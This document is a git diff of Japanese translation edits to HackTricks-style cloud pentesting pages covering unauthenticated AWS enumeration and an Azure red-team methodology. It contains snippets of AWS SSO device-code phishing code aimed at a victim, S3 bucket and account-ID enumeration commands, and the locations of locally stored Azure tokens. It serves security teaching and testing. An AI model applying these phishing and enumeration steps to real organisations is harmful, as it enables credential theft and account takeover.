に注意してください。**org_name1** のような組織を作成し、Github Action から **ロールを引き受ける** ことができます。 ## 参考文献 diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md index 536eaca19..410b3e321 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -1,23 +1,23 @@ -# AWS - Identity Center & SSO Unauthenticated Enum +# AWS - Identity Center & SSO 認証なし列挙 {{#include ../../../banners/hacktricks-training.md}} -## AWSデバイスコードフィッシング +## AWS デバイスコードフィッシング 最初に[**このブログ記事**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)で提案されたように、AWS SSOを使用してユーザーに**リンク**を送信することが可能で、**ユーザーが承認**すると、攻撃者は**ユーザーを偽装するためのトークン**を取得し、**Identity Center**でユーザーがアクセスできるすべてのロールにアクセスできるようになります。 この攻撃を実行するための要件は次のとおりです: -- 被害者は**Identity Center**を使用する必要があります +- 被害者は**Identity Center**を使用している必要があります - 攻撃者は被害者が使用している**サブドメイン**を知っている必要があります `.awsapps.com/start` -前述の情報だけで、**攻撃者はユーザーにリンクを送信でき**、**承認されれば**、**攻撃者はAWSユーザー**アカウントへのアクセスを得ることができます。 +前述の情報だけで、**攻撃者はユーザーにリンクを送信でき**、**承認されると**攻撃者はAWSユーザーアカウントへの**アクセス権**を得ることができます。 ### 攻撃 1. **サブドメインの特定** -攻撃者の最初のステップは、被害者の会社がIdentity Centerで使用しているサブドメインを特定することです。これは**OSINT**または**推測 + ブルートフォース**を使用して行うことができ、ほとんどの会社はここで自社名またはそのバリエーションを使用しています。 +攻撃者の最初のステップは、被害者の会社がIdentity Centerで使用しているサブドメインを特定することです。これは**OSINT**や**推測 + ブルートフォース**を通じて行うことができ、ほとんどの会社はここで自社名またはそのバリエーションを使用しています。 この情報をもとに、Identity Centerが設定されたリージョンを取得することが可能です: ```bash @@ -52,9 +52,9 @@ url = authz.get('verificationUriComplete') deviceCode = authz.get('deviceCode') print("Give this URL to the victim: " + url) ``` -生成したリンクを被害者にあなたの素晴らしいソーシャルエンジニアリングスキルを使って送信してください! +被害者に生成されたリンクを送信し、あなたの素晴らしいソーシャルエンジニアリングスキルを使いましょう! -3. **被害者がそれを受け入れるのを待つ** +3. **被害者がそれを受け入れるのを待ちます** 被害者が**すでにAWSにログインしている**場合、権限を付与することを受け入れるだけで済みます。ログインしていない場合は、**ログインしてから権限を付与することを受け入れる必要があります**。\ これが現在のプロンプトの見た目です: @@ -75,7 +75,7 @@ sso_token = token_response.get('accessToken') ``` SSOアクセストークンは**8時間有効**です。 -5. **ユーザーを偽装する** +5. **ユーザーをなりすます** ```python sso_client = boto3.client('sso', region_name=REGION) @@ -102,9 +102,9 @@ accountId= ) sts_creds.get('roleCredentials') ``` -### フィッシング不可能なMFA +### フィッシングできないMFAのフィッシング -以前の攻撃が**「フィッシング不可能なMFA」(webAuth)が使用されていても機能する**ことを知るのは楽しいです。これは、以前の**ワークフローが使用されているOAuthドメインを離れない**ためです。他のフィッシング攻撃とは異なり、ユーザーがログインドメインを偽装する必要がない場合、デバイスコードワークフローが準備されているため、**デバイスによってコードが知られている**と、ユーザーは異なるマシンでもログインできます。プロンプトを受け入れると、デバイスは**初期コードを知っているだけで**、ユーザーのために**資格情報を取得する**ことができます。 +以前の攻撃が**「フィッシングできないMFA」(webAuth)が使用されていても機能する**ことを知るのは楽しいです。これは、以前の**ワークフローが使用されているOAuthドメインを離れない**ためです。他のフィッシング攻撃とは異なり、ユーザーがログインドメインを偽装する必要がある場合、デバイスコードワークフローは**デバイスによって知られているコード**が準備されているため、ユーザーは異なるマシンでもログインできます。プロンプトを受け入れると、デバイスは**初期コードを知っているだけで**、ユーザーのために**資格情報を取得する**ことができます。 詳細については、[**この投稿を確認してください**](https://mjg59.dreamwidth.org/62175.html)。 diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md index 5bfcefedb..f24ab1806 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md @@ -1,20 +1,20 @@ -# AWS - Lambda Unauthenticated Access +# AWS - Lambda 認証なしアクセス {{#include ../../../banners/hacktricks-training.md}} -## パブリック関数URL +## 公開関数URL -**Lambda**を誰でもアクセスできる**パブリック関数URL**に関連付けることが可能です。これにはウェブの脆弱性が含まれている可能性があります。 +誰でもアクセスできる**Lambda**と**公開関数URL**を関連付けることが可能です。これにはウェブの脆弱性が含まれている可能性があります。 -### パブリックURLテンプレート +### 公開URLテンプレート ``` https://{random_id}.lambda-url.{region}.on.aws/ ``` ### 公開Lambda URLからアカウントIDを取得する -S3バケット、データ交換、APIゲートウェイと同様に、公開Lambda URLから**`aws:ResourceAccount`** **ポリシー条件キー**を悪用してアカウントのアカウントIDを見つけることが可能です。これは、ポリシーの**`aws:ResourceAccount`**セクションでワイルドカードを悪用して、一文字ずつアカウントIDを見つけることによって行われます。\ +S3バケット、Data Exchange、APIゲートウェイと同様に、公開Lambda URLから**`aws:ResourceAccount`** **ポリシー条件キー**を悪用してアカウントのアカウントIDを見つけることが可能です。これは、ポリシーの**`aws:ResourceAccount`**セクションでワイルドカードを悪用して、一度に1文字ずつアカウントIDを見つけることによって行われます。\ この技術を使用すると、タグキーがわかっている場合に**タグの値**を取得することもできます(いくつかのデフォルトの興味深いものがあります)。 -詳細については、[**元の研究**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)と、この悪用を自動化するためのツール[**conditional-love**](https://github.com/plerionhq/conditional-love/)を参照してください。 +詳細については、[**元の研究**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)と、この悪用を自動化するツール[**conditional-love**](https://github.com/plerionhq/conditional-love/)を参照してください。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md index d8ea805b1..3eb88afdb 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md @@ -1,18 +1,18 @@ -# AWS - MQ Unauthenticated Enum +# AWS - MQ 認証なし列挙 {{#include ../../../banners/hacktricks-training.md}} -## パブリックポート +## 公開ポート ### **RabbitMQ** -**RabbitMQ**の場合、**デフォルトでパブリックアクセス**とsslが有効になっています。しかし、アクセスするには**認証情報**が必要です(`amqps://.mq.us-east-1.amazonaws.com:5671`​​)。さらに、`https://b-.mq.us-east-1.amazonaws.com/`で認証情報を知っていれば**ウェブ管理コンソールにアクセス**することが可能です。 +**RabbitMQ** の場合、**デフォルトで公開アクセス** と ssl が有効です。しかし、アクセスするには **資格情報** が必要です (`amqps://.mq.us-east-1.amazonaws.com:5671`​​)。さらに、`https://b-.mq.us-east-1.amazonaws.com/` で資格情報を知っていれば **ウェブ管理コンソールにアクセス** することが可能です。 ### ActiveMQ -**ActiveMQ**の場合、デフォルトでパブリックアクセスとsslが有効になっていますが、アクセスするには認証情報が必要です。 +**ActiveMQ** の場合、デフォルトで公開アクセスと ssl が有効ですが、アクセスするには資格情報が必要です。 -### パブリックURLテンプレート +### 公開URLテンプレート ``` https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md index 96a2f4e20..266f26188 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md @@ -1,14 +1,14 @@ -# AWS - MSK Unauthenticated Enum +# AWS - MSK 認証なし列挙 {{#include ../../../banners/hacktricks-training.md}} -### パブリックポート +### 公開ポート -**Kafkaブローカーをパブリックに公開することは可能ですが、** **認証情報**、IAM権限、または有効な証明書が必要です(設定された認証方法に応じて)。 +**Kafkaブローカーを公開することは可能ですが、** **認証情報**、IAM権限、または有効な証明書が必要です(設定された認証方法によります)。 -**認証を無効にすることも可能ですが、その場合は** **ポートをインターネットに直接公開することはできません。** +また、**認証を無効にすることも可能ですが、その場合は** **ポートをインターネットに直接公開することはできません。** -### パブリックURLテンプレート +### 公開URLテンプレート ``` b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md index b0db25086..311772133 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md @@ -4,7 +4,7 @@ ## RDS -詳細については、以下を確認してください: +詳細については、次を確認してください: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md @@ -12,11 +12,11 @@ ## 公開ポート -**インターネットからデータベースへの公開アクセスを提供することが可能です**。攻撃者は依然として**ユーザー名とパスワード、** IAM アクセス、または**エクスプロイト**を知っている必要があります。 +**インターネットからデータベースへの公開アクセス**を提供することが可能です。攻撃者は依然として**ユーザー名とパスワード、**IAMアクセス、または**エクスプロイト**を知っている必要があります。 -## 公開 RDS スナップショット +## 公開RDSスナップショット -AWS は**誰でも RDS スナップショットをダウンロードするアクセスを提供することを許可しています**。自分のアカウントからこれらの公開 RDS スナップショットを非常に簡単にリストできます: +AWSは**誰でもRDSスナップショットをダウンロードするアクセスを提供する**ことを許可しています。自分のアカウントからこれらの公開RDSスナップショットを非常に簡単にリストできます: ```bash # Public RDS snapshots aws rds describe-db-snapshots --include-public diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index 6f343aa00..757b27a1c 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -4,11 +4,11 @@ ## S3 パブリックバケット -バケットは、**「パブリック」**と見なされる場合、**任意のユーザーがバケットの内容をリストできる**場合であり、**「プライベート」**と見なされる場合は、バケットの内容が**特定のユーザーによってのみリストまたは書き込まれる**場合です。 +バケットは、**“パブリック”** と見なされる場合、**任意のユーザーがバケットの内容をリストできる**場合であり、**“プライベート”** は、バケットの内容が**特定のユーザーによってのみリストまたは書き込まれる**場合です。 -企業は、**バケットの権限が誤って設定されている**可能性があり、すべてまたはAWSの任意のアカウントで認証されたすべてのユーザーにアクセスを許可している場合があります(つまり、誰にでも)。このような誤設定があっても、バケットには独自のアクセス制御リスト(ACL)があるため、特定のアクションが実行できない場合があります。 +企業は、**バケットの権限が誤って設定されている**可能性があり、すべてまたはAWSの任意のアカウントに認証されたすべてのユーザーにアクセスを提供することがあります(つまり、誰にでも)。このような誤設定があっても、バケットには独自のアクセス制御リスト(ACL)があるため、いくつかのアクションを実行できない場合があります。 -**AWS-S3の誤設定についてはこちらを学んでください:** [**http://flaws.cloud**](http://flaws.cloud/) **および** [**http://flaws2.cloud/**](http://flaws2.cloud) +**AWS-S3の誤設定についてはこちらで学ぶ:** [**http://flaws.cloud**](http://flaws.cloud/) **および** [**http://flaws2.cloud/**](http://flaws2.cloud) ### AWS バケットの発見 @@ -17,16 +17,16 @@ #### 列挙 & OSINT: - **wappalyzer** ブラウザプラグインを使用 -- burpを使用して(ウェブを**スパイダー**する)または手動でページをナビゲートすることで、すべての**リソース**が**履歴**に保存されます。 -- 次のドメインで**リソースを確認**: +- burpを使用して(ウェブを**スパイダー**する)または手動でページをナビゲートすることで、すべての**リソース**が履歴に保存されます。 +- ドメインでの**リソースを確認**: ``` http://s3.amazonaws.com/[bucket_name]/ http://[bucket_name].s3.amazonaws.com/ ``` -- **CNAMES**を確認します。`resources.domain.com`は`bucket.s3.amazonaws.com`のCNAMEを持っている可能性があります。 -- すでに**発見されたオープンバケット**を持つウェブサイト[https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)を確認します。 +- **CNAMES**を確認、`resources.domain.com`は`bucket.s3.amazonaws.com`のCNAMEを持つ可能性があります +- [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)、すでに**発見されたオープンバケット**を持つウェブサイトを確認。 - **バケット名**と**バケットドメイン名**は**同じである必要があります。** - **flaws.cloud**は**IP** 52.92.181.107にあり、そこに行くと[https://aws.amazon.com/s3/](https://aws.amazon.com/s3/)にリダイレクトされます。また、`dig -x 52.92.181.107`は`s3-website-us-west-2.amazonaws.com`を返します。 - バケットであることを確認するには、[https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/)を**訪問**することもできます。 @@ -59,7 +59,7 @@ cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt # 攻撃するためのドメインとサブドメインのリストに基づいてパーミュテーションを作成 goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp ## 前のツールはサブドメインのパーミュテーションを作成することに特化しているので、そのリストをフィルタリングします -### ".で終わる行を削除 +### "."で終わる行を削除 cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2 ### TLDなしのリストを作成 cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3 @@ -77,11 +77,11 @@ s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt | grep buck #### S3 バケットの略奪 -S3のオープンバケットがある場合、[**BucketLoot**](https://github.com/redhuntlabs/BucketLoot)は自動的に**興味深い情報を検索**できます。 +オープンバケットがある場合、[**BucketLoot**](https://github.com/redhuntlabs/BucketLoot)は自動的に**興味深い情報を検索**できます。 ### リージョンを見つける -AWSがサポートしているすべてのリージョンは、[**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)で確認できます。 +AWSがサポートするすべてのリージョンは、[**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)で確認できます。 #### DNSによる @@ -95,13 +95,13 @@ nslookup 52.218.192.11 Non-authoritative answer: 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. ``` -ドメインが「website」という単語を含んでいることを確認してください。\ +解決されたドメインに「website」という単語が含まれていることを確認してください。\ 静的ウェブサイトには次のURLでアクセスできます: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ または、バケットには次のURLでアクセスできます: `flaws.cloud.s3-us-west-2.amazonaws.com` #### 試してみる -バケットにアクセスしようとしたが、**指定したドメイン名が別のリージョン**である場合(例えば、バケットが`bucket.s3.amazonaws.com`にあるが、`bucket.s3-website-us-west-2.amazonaws.com`にアクセスしようとした場合)、**正しい場所に誘導されます**: +バケットにアクセスしようとした場合、**指定したドメイン名に別のリージョンが含まれている**(例えば、バケットが `bucket.s3.amazonaws.com` にあるのに、`bucket.s3-website-us-west-2.amazonaws.com` にアクセスしようとすると、**正しい場所に誘導されます**: ![](<../../../images/image (106).png>) @@ -131,9 +131,9 @@ aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --r ``` https://{user_provided}.s3.amazonaws.com ``` -### Get Account ID from public Bucket +### 公開バケットからアカウントIDを取得する -AWSアカウントを特定することは、新しい **`S3:ResourceAccount`** **ポリシー条件キー**を利用することで可能です。この条件は、アカウントが存在するS3バケットに基づいてアクセスを**制限**します(他のアカウントベースのポリシーは、リクエスト元のプリンシパルが存在するアカウントに基づいて制限します)。\ +新しい **`S3:ResourceAccount`** **ポリシー条件キー**を利用することで、AWSアカウントを特定することが可能です。この条件は、アカウントが存在するS3バケットに基づいてアクセスを**制限**します(他のアカウントベースのポリシーは、リクエスト元のプリンシパルが存在するアカウントに基づいて制限します)。\ ポリシーには**ワイルドカード**を含めることができるため、アカウント番号を**1つずつ**見つけることが可能です。 このツールはそのプロセスを自動化します: @@ -146,11 +146,11 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket # With an object s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext ``` -この技術は、API Gateway URLs、Lambda URLs、Data Exchange データセット、さらにはタグの値を取得するためにも機能します(タグキーがわかっている場合)。詳細については、[**元の研究**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)と、この悪用を自動化するためのツール[**conditional-love**](https://github.com/plerionhq/conditional-love/)を参照してください。 +この技術は、API Gateway URLs、Lambda URLs、Data Exchange データセット、さらにはタグの値を取得するためにも機能します(タグキーがわかっている場合)。詳細については、[**元の研究**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)と、これを自動化するためのツール[**conditional-love**](https://github.com/plerionhq/conditional-love/)を参照してください。 -### バケットがAWSアカウントに属していることを確認する +### バケットが AWS アカウントに属していることを確認する -[**このブログ記事**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)で説明されているように、**バケットをリストする権限がある場合**、次のようなリクエストを送信することで、バケットが属するアカウントIDを確認することが可能です。 +[**このブログ投稿**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)で説明されているように、**バケットをリストする権限がある場合**、次のようなリクエストを送信することで、バケットが属する accountID を確認することが可能です。 ```bash curl -X GET "[bucketname].amazonaws.com/" \ -H "x-amz-expected-bucket-owner: [correct-account-id]" @@ -158,15 +158,9 @@ curl -X GET "[bucketname].amazonaws.com/" \ ... ``` -If the error is an “Access Denied” it means that the account ID was wrong. +エラーが「Access Denied」の場合、アカウントIDが間違っていることを意味します。 -### Used Emails as root account enumeration - -As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), it's possible to check if an email address is related to any AWS account by **trying to grant an email permissions** over a S3 bucket via ACLs. If this doesn't trigger an error, it means that the email is a root user of some AWS account: - -エラーが「アクセス拒否」の場合、それはアカウントIDが間違っていることを意味します。 - -### ルートアカウント列挙としての使用メール +### ルートアカウント列挙としての使用されたメール [**このブログ記事**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)で説明されているように、ACLを介してS3バケットに対してメールに権限を付与しようとすることで、メールアドレスがAWSアカウントに関連しているかどうかを確認することが可能です。これがエラーを引き起こさない場合、そのメールはAWSアカウントのルートユーザーであることを意味します。 ```python diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md index cf1438a25..266b0f433 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md @@ -1,16 +1,16 @@ -# AWS - SNS 未認証列挙 +# AWS - SNS 認証なし列挙 {{#include ../../../banners/hacktricks-training.md}} ## SNS -SNSに関する詳細情報は以下を確認してください: +SNSに関する詳細情報は、以下を確認してください: {{#ref}} ../aws-services/aws-sns-enum.md {{#endref}} -### 誰でもアクセス可能 +### 誰でも利用可能 ウェブコンソールからSNSトピックを設定する際に、**誰でも公開および購読できる**ことを示すことが可能です: diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md index 167da4e88..073d1edbe 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md @@ -1,10 +1,10 @@ -# AWS - SQS 無認証列挙 +# AWS - SQS 認証なし列挙 {{#include ../../../banners/hacktricks-training.md}} ## SQS -SQSに関する詳細情報は、以下を確認してください: +SQSに関する詳細情報は以下を確認してください: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md @@ -14,8 +14,8 @@ SQSに関する詳細情報は、以下を確認してください: ``` https://sqs.[region].amazonaws.com/[account-id]/{user_provided} ``` -### 権限の確認 +### パーミッションの確認 -SQSキューポリシーを誤って設定し、AWS内のすべてのユーザーにメッセージの送受信権限を付与することが可能です。したがって、キューのARNを取得したら、アクセスできるか試してみてください。 +SQSキューのポリシーを誤って設定し、AWS内のすべてのユーザーにメッセージの送受信を許可することが可能です。したがって、キューのARNを取得したら、アクセスできるか試してみてください。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index 581a50a55..710f05b1b 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -8,48 +8,48 @@ az-basic-information/ {{#endref}} -## Azure ペンテスター/レッドチームの方法論 +## Azureペンテスター/レッドチームの方法論 -AZURE 環境を監査するためには、どの **サービスが使用されているか**、何が **公開されているか**、誰が **何にアクセスできるか**、内部の Azure サービスと **外部サービス**がどのように接続されているかを知ることが非常に重要です。 +AZURE環境を監査するためには、どの**サービスが使用されているか**、何が**公開されているか**、誰が**何にアクセスできるか**、内部のAzureサービスと**外部サービス**がどのように接続されているかを知ることが非常に重要です。 -レッドチームの観点から、**Azure 環境を侵害するための最初のステップ**は、Azure AD の **資格情報**を取得することです。以下はその方法のいくつかです: +レッドチームの観点から、**Azure環境を侵害するための最初のステップ**は、Azure ADの**資格情報**を取得することです。以下はその方法のいくつかです: -- GitHub(または類似の)での **漏洩** - OSINT -- **ソーシャル** エンジニアリング -- **パスワード** 再利用(パスワード漏洩) -- Azure ホストアプリケーションの脆弱性 +- GitHub(または類似の)での**漏洩** - OSINT +- **ソーシャル**エンジニアリング +- **パスワード**の再利用(パスワード漏洩) +- Azureホストアプリケーションの脆弱性 - [**サーバーサイドリクエストフォージェリ**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) メタデータエンドポイントへのアクセス - **ローカルファイル読み取り** - `/home/USERNAME/.azure` - `C:\Users\USERNAME\.azure` -- **`accessTokens.json`** ファイル(az cli 2.30以前 - 2022年1月) - **アクセス トークンを平文で保存** -- **`azureProfile.json`** ファイルには **ログインユーザーに関する情報**が含まれています。 -- **`az logout`** はトークンを削除します。 -- 古いバージョンの **`Az PowerShell`** は **アクセス トークン**を **平文**で **`TokenCache.dat`** に保存していました。また、**ServicePrincipalSecret** を **平文**で **`AzureRmContext.json`** に保存します。コマンドレット **`Save-AzContext`** を使用して **トークンを保存**できます。\ -`Disconnect-AzAccount` を使用してそれらを削除します。 -- 第三者が **侵害された** -- **内部** 従業員 -- [**一般的なフィッシング**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology)(資格情報または Oauth アプリ) +- **`accessTokens.json`**ファイル(az cli 2.30以前 - 2022年1月) - **アクセス トークンを平文で保存** +- **`azureProfile.json`**ファイルには**ログインユーザーに関する情報**が含まれています。 +- **`az logout`**はトークンを削除します。 +- 古いバージョンの**`Az PowerShell`**は**アクセス トークン**を**平文**で**`TokenCache.dat`**に保存していました。また、**`AzureRmContext.json`**に**ServicePrincipalSecret**を**平文**で保存します。コマンドレット**`Save-AzContext`**を使用して**トークンを保存**できます。\ +`Disconnect-AzAccount`を使用してそれらを削除します。 +- 第三者が**侵害された** +- **内部**従業員 +- [**一般的なフィッシング**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology)(資格情報またはOauthアプリ) - [デバイスコード認証フィッシング](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) -- [Azure **パスワードスプレー**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) +- [Azure **パスワードスプレイング**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) -攻撃している Azure テナント内で **ユーザーを侵害していなくても**、そこから **情報を収集**することができます: +攻撃しているAzureテナント内で**ユーザーを侵害していなくても**、いくつかの**情報を収集**することができます: {{#ref}} az-unauthenticated-enum-and-initial-entry/ {{#endref}} > [!NOTE] -> 資格情報を取得した後は、それらの資格情報が **誰に属しているか**、および **何にアクセスできるか**を知る必要があるため、基本的な列挙を行う必要があります: +> 資格情報を取得した後は、その資格情報が**誰に属しているか**、**何にアクセスできるか**を知る必要があるため、いくつかの基本的な列挙を行う必要があります。 ## 基本的な列挙 > [!NOTE] -> 列挙の **最も騒がしい** 部分は **ログイン** であり、列挙自体ではありません。 +> 列挙の**最も騒がしい**部分は**ログイン**であり、列挙自体ではありません。 ### SSRF -Azure 内のマシンで SSRF を見つけた場合は、トリックについてはこのページを確認してください: +Azure内のマシンでSSRFを見つけた場合は、トリックのためにこのページを確認してください: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -59,12 +59,12 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
-有効な資格情報があるがログインできない場合、以下は一般的な保護手段です: +有効な資格情報があるがログインできない場合、以下は考えられる一般的な保護です: -- **IP ホワイトリスト** -- 有効な IP を侵害する必要があります -- **地理的制限** -- ユーザーの居住地や会社のオフィスの場所を見つけ、同じ都市(または少なくとも同じ国)の IP を取得します -- **ブラウザ** -- 特定の OS(Windows、Linux、Mac、Android、iOS)からのブラウザのみが許可されている場合があります。犠牲者/会社が使用している OS を特定します。 -- **サービス プリンシパルの資格情報を侵害**することも試みることができます。通常、制限が少なく、ログインがあまりレビューされません。 +- **IPホワイトリスト** -- 有効なIPを侵害する必要があります +- **地理的制限** -- ユーザーの居住地や会社のオフィスの場所を見つけ、同じ都市(または少なくとも同じ国)のIPを取得します +- **ブラウザ** -- 特定のOS(Windows、Linux、Mac、Android、iOS)のブラウザのみが許可されているかもしれません。被害者/会社が使用しているOSを特定します。 +- **サービスプリンシパルの資格情報を侵害する**ことも試みることができます。通常、制限が少なく、ログインがあまりレビューされません。 バイパスした後、初期設定に戻り、引き続きアクセスできる可能性があります。 @@ -75,9 +75,9 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### Whoami > [!CAUTION] -> az cli、AzureAD、および Az PowerShell の **インストール方法**を [**Az - Entra ID**](az-services/az-azuread.md) セクションで学んでください。 +> az cli、AzureAD、Az PowerShellの**インストール方法**を[**Az - Entra ID**](az-services/az-azuread.md)セクションで学んでください。 -最初に知っておくべきことの一つは **自分が誰であるか**(どの環境にいるか)です: +最初に知っておくべきことは、**自分が誰であるか**(どの環境にいるか)です: {{#tabs }} {{#tab name="az cli" }} @@ -120,13 +120,13 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user {{#endtabs }} > [!CAUTION] -> Azureを列挙するための最も重要なコマンドの1つは、**`Get-AzResource`**であり、これは**現在のユーザーが可視性を持つリソースを知ることができます**。 +> Azureを列挙するための最も重要なコマンドの1つは、**`Get-AzResource`**であり、これにより**現在のユーザーが可視性を持つリソースを知ることができます**。 > > 同じ情報を**ウェブコンソール**で取得するには、[https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll)にアクセスするか、「すべてのリソース」を検索してください。 -### ENtra ID 列挙 +### ENtra ID Enumeration -デフォルトでは、任意のユーザーは**ユーザー、グループ、役割、サービスプリンシパルなどを列挙するのに十分な権限を持っているはずです**([デフォルトのAzureAD権限](az-basic-information/#default-user-permissions)を確認してください)。\ +デフォルトでは、任意のユーザーは**ユーザー、グループ、ロール、サービスプリンシパルなどを列挙するのに十分な権限を持っているはずです**([デフォルトのAzureAD権限](az-basic-information/#default-user-permissions)を確認してください)。\ ここにガイドがあります: {{#ref}} @@ -134,7 +134,7 @@ az-services/az-azuread.md {{#endref}} > [!NOTE] -> これで**資格情報に関する情報を持っている**(そして、もしあなたがレッドチームであれば、希望的には**検出されていない**)ので、環境で使用されているサービスを特定する時が来ました。\ +> 現在、**資格情報に関する情報を持っている**(そして、もしあなたがレッドチームであれば、幸運にも**検出されていない**ことを願っています)。環境で使用されているサービスを特定する時が来ました。\ > 次のセクションでは、**一般的なサービスを列挙するいくつかの方法**を確認できます。 ## App Service SCM @@ -155,7 +155,7 @@ Azure DevOpsはAzureとは別です。リポジトリ、パイプライン(yam ```bash az account management-group list --output table --debug ``` -MitMツールに対して**手動で送信されるすべてのリクエストを確認**するには、次のようにします: +**MitM**ツールに対して行い、手動で送信される**すべてのリクエスト**を確認するには、次のようにします: {{#tabs }} {{#tab name="Bash" }} diff --git 